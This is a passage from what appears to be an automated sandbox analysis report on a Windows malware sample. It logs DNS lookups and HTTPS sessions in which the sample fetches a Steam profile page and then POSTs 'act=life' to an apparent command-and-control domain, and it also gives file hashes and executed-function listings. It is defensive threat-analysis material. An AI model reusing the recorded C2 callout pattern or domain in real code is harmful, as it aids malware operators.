Oct 7, 2024 01:02:13.175996065 CEST	1.1.1.1	192.168.2.4	0xf931	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
Oct 7, 2024 01:02:13.175996065 CEST	1.1.1.1	192.168.2.4	0xf931	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

sergei-esenin.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.102.49.254	443	3652	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 23:02:12 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-10-06 23:02:13 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Sun, 06 Oct 2024 23:02:12 GMT Content-Length: 34837 Connection: close Set-Cookie: sessionid=25bde43012e7e41a709b9569; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-10-06 23:02:13 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-10-06 23:02:13 UTC	16384	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 09 09 6a 51 75 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 09 09 24 28 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 27 29 2e 76 5f 74 6f 6f 6c 74 69 70 28 7b 27 6c 6f 63 61 74 69 6f 6e 27 3a 27 62 6f 74 74 6f 6d 27 2c 20 27 64 65 73 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f Data Ascii: <script type="text/javascript">jQuery(function($) {$('#global_header .supernav').v_tooltip({'location':'bottom', 'destroyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#glo
2024-10-06 23:02:13 UTC	3768	IN	Data Raw: 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 73 75 6d 6d 61 72 79 5f 66 6f 6f 74 65 72 22 3e 0d 0a 09 09 09 09 09 09 09 3c 73 70 61 6e 20 64 61 74 61 2d 70 61 6e 65 6c 3d 22 7b 26 71 75 6f 74 3b 66 6f 63 75 73 61 62 6c 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 63 6c 69 63 6b 4f 6e 41 63 74 69 76 61 74 65 26 71 75 6f 74 3b 3a 74 72 75 65 7d 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 20 63 6c 61 73 73 3d 22 77 68 69 74 65 4c 69 6e 6b 22 3e 56 69 65 77 20 6d 6f 72 65 20 69 6e 66 6f 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 20 24 4a 28 20 66 75 6e 63 74 69 6f 6e 28 29 Data Ascii: <div class="profile_summary_footer"><span data-panel="{"focusable":true,"clickOnActivate":true}" class="whiteLink" class="whiteLink">View more info</span></div><script type="text/javascript"> $J( function()
2024-10-06 23:02:13 UTC	171	IN	Data Raw: 09 3c 73 70 61 6e 3e 56 69 65 77 20 6d 6f 62 69 6c 65 20 77 65 62 73 69 74 65 3c 2f 73 70 61 6e 3e 0d 0a 09 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 09 09 3c 2f 64 69 76 3e 0d 0a 09 0d 0a 09 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 63 6f 6e 74 65 6e 74 20 2d 2d 3e 0d 0a 0d 0a 3c 2f 64 69 76 3e 09 3c 21 2d 2d 20 72 65 73 70 6f 6e 73 69 76 65 5f 70 61 67 65 5f 66 72 61 6d 65 20 2d 2d 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <span>View mobile website</span></div></div></div></div>... responsive_page_content --></div>... responsive_page_frame --></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.206.204	443	3652	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 23:02:13 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: sergei-esenin.com
2024-10-06 23:02:13 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-06 23:02:14 UTC	778	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 23:02:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9kpedr3peem2pfa38vdsvie612; expires=Thu, 30 Jan 2025 16:48:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jLAzwEarglkr81e0GnPbQUbGTaGqbO4wLChxWY%2BaLDUCVJhItxEnWzXFG1%2FMXS8XAIG3iAlDHDmDd2aR9B4Z4jJE7LjAzq7ojJfLGFbkRZxmtS8o4y%2BmpWnw8nWGo%2BxSSttu%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ce9471fc90e5e7c-EWR
2024-10-06 23:02:14 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-10-06 23:02:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	19:02:09
Start date:	06/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xf40000
File size:	1'875'456 bytes
MD5 hash:	F8FBE058F717084976EEEF1ADB9C4365
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	56.2%
Total number of Nodes:	48
Total number of Limit Nodes:	6

Executed Functions

Function 00F850FA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 63
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(19A41BB1,00000000,00000800), ref: 00F85182

Strings

<I$), xrefs: 00F852E3
@^, xrefs: 00F85120
<I$), xrefs: 00F85198

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: LibraryLoad
String ID: <I$)$<I$)$@^
API String ID: 1029625771-935358343
Opcode ID: 1c8f8a975b3522bba63ebc749d0bdb7df45cc5b279e3e0d5225c2ef0613b2ff2
Instruction ID: 143e40d02e5453aefe434c5862db3966d75dadeb14fd754f41312c15669030bb
Opcode Fuzzy Hash: 1c8f8a975b3522bba63ebc749d0bdb7df45cc5b279e3e0d5225c2ef0613b2ff2
Instruction Fuzzy Hash: EF21AE355083888FC300EF68D881B6EB7E4AB6A300F69482CE1C5D7362D736DA15CB56

Function 00F4FCA0 Relevance: 5.4, Strings: 4, Instructions: 373
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

VY^_, xrefs: 00F4FDFF
J|BJ, xrefs: 00F5000D
t, xrefs: 00F4FCBE
V, xrefs: 00F4FEDC

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: J|BJ$V$VY^_$t
API String ID: 0-3701112211
Opcode ID: 95ccf2c68951c90960a0e96be1ecf41490527b16fc1e12fb4f8db5e264929df8
Instruction ID: b5a71023fc42af9136dc17da441aa07ccf957e0cc6ca4e301e6e8b168943aa0d
Opcode Fuzzy Hash: 95ccf2c68951c90960a0e96be1ecf41490527b16fc1e12fb4f8db5e264929df8
Instruction Fuzzy Hash: EFD1877590C3809BD310DF149490A1FBFE1AB96B59F18882CF9C98B252C736DD09EB93

Function 00F4D110 Relevance: 1.7, APIs: 1, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 00F4D2F1

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 64cad8d12fb038dd4f9d963b4a9773071a748a71b06e813a4f8218159ae8ddf6
Instruction ID: f10a99198e943bc899313433c2d805e82135a7808039eaf16932b75932e4d733
Opcode Fuzzy Hash: 64cad8d12fb038dd4f9d963b4a9773071a748a71b06e813a4f8218159ae8ddf6
Instruction Fuzzy Hash: 4541327490D380ABD301BB68D984A2EFFF5AF92745F148C0CE9C497252C33AD914AB67

Function 00F85BB0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(00F8973D,005C003F,00000006,?,?,00000018,8C8D8A8B,?,?), ref: 00F85BDE

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00F8695B Relevance: 1.4, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00F869C5

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 1080387f4e197fccfebc6e9c1ffdcfb1989a874b6b635204ab2263b271517afd
Instruction ID: d245da31c0014e329fd6dad75a56a59c57321da6318a7d830a0ee49c9f0a5581
Opcode Fuzzy Hash: 1080387f4e197fccfebc6e9c1ffdcfb1989a874b6b635204ab2263b271517afd
Instruction Fuzzy Hash: CD31AAB1A183058FD718EF14C89076AB7F2FF84344F14881DE5C6D72A1E3399904EB56

Function 00F5049B Relevance: .3, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 029d36eb9d5c9b18178c89e2e3ffba65d9c39870b20aa6e28cbdc3e56438a7c0
Instruction ID: 235bb254ce3ccf8b268b4cf1d0d05ee15e284c682a344dda78d9e539a942e85a
Opcode Fuzzy Hash: 029d36eb9d5c9b18178c89e2e3ffba65d9c39870b20aa6e28cbdc3e56438a7c0
Instruction Fuzzy Hash: 33919B75200B00DFD724CF25D890A26B7F6FF89315F118A6DE9568BAA1DB30F819EB50

Function 00F50228 Relevance: .2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1325c6c5e10eecc2cb8136ee037b5478c1680ed87e63fd32adfd4f891b535a9
Instruction ID: 180fb83fb396efc38f1b72a23af81cf018707c6fdbab41477129427384e37c15
Opcode Fuzzy Hash: a1325c6c5e10eecc2cb8136ee037b5478c1680ed87e63fd32adfd4f891b535a9
Instruction Fuzzy Hash: 42718A75200705DFD724CF21EC94F26B7B6FF89315F10896DE9468BA62CB31A819EB50

Function 00F899D0 Relevance: .1, Instructions: 143COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfd8ad1d175ed34a94ec0c338d8d3a1d2d3abe3eb5461fe317b4f3039c1eba36
Instruction ID: 6c3644c6cbb8ce52736e4b286d0609f153a553f1157d21000567f25fe571cf8a
Opcode Fuzzy Hash: bfd8ad1d175ed34a94ec0c338d8d3a1d2d3abe3eb5461fe317b4f3039c1eba36
Instruction Fuzzy Hash: A241CF3460C304ABDB14AB55DC90B7BF7E5EBC5B24F18882CF58A97241D374E900EB62

Function 00F863B8 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 544040b9b549a3fb1b5b4080e08dcee027a0480a30dcdc20539c10849e4dd953
Instruction ID: 0247a2673456b0c38c92c935beeddba54cf9b95c5a198cd8c36c0ce25cb06662
Opcode Fuzzy Hash: 544040b9b549a3fb1b5b4080e08dcee027a0480a30dcdc20539c10849e4dd953
Instruction Fuzzy Hash: 9A31D570649301BBD624EB04CD82F7EB7A6FB80B21F64450CF181A72D1D370A811AB52

Function 00F83220 Relevance: 1.6, APIs: 1, Instructions: 59
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 00F832A6

Memory Dump Source

Source File: 00000000.00000002.1702166087.0000000000F41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F40000, based on PE: true

Associated: 00000000.00000002.1702152974.0000000000F40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000000FA0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001124000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001203000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000122F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.000000000123B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702205323.0000000001248000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702487732.0000000001249000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702639277.00000000013E9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702653468.00000000013EA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f40000_file.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 5f75e574c215459b697bea695c43187f0dc0252e1cd9f2537e2eceb1d20b3a92
Instruction ID: adde1ebdc87982d3a302904d5f8a6d37818f0a37815ce81a7f494035d06c0359
Opcode Fuzzy Hash: 5f75e574c215459b697bea695c43187f0dc0252e1cd9f2537e2eceb1d20b3a92
Instruction Fuzzy Hash: 7F016D3450D2409BC701EF18E885A1ABBE8EF8AB10F05491CE5C58B361D339DD60EB92

Function 00F83202 Relevance: 1.5, APIs: 1, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 00F83208

Memory Dump Source

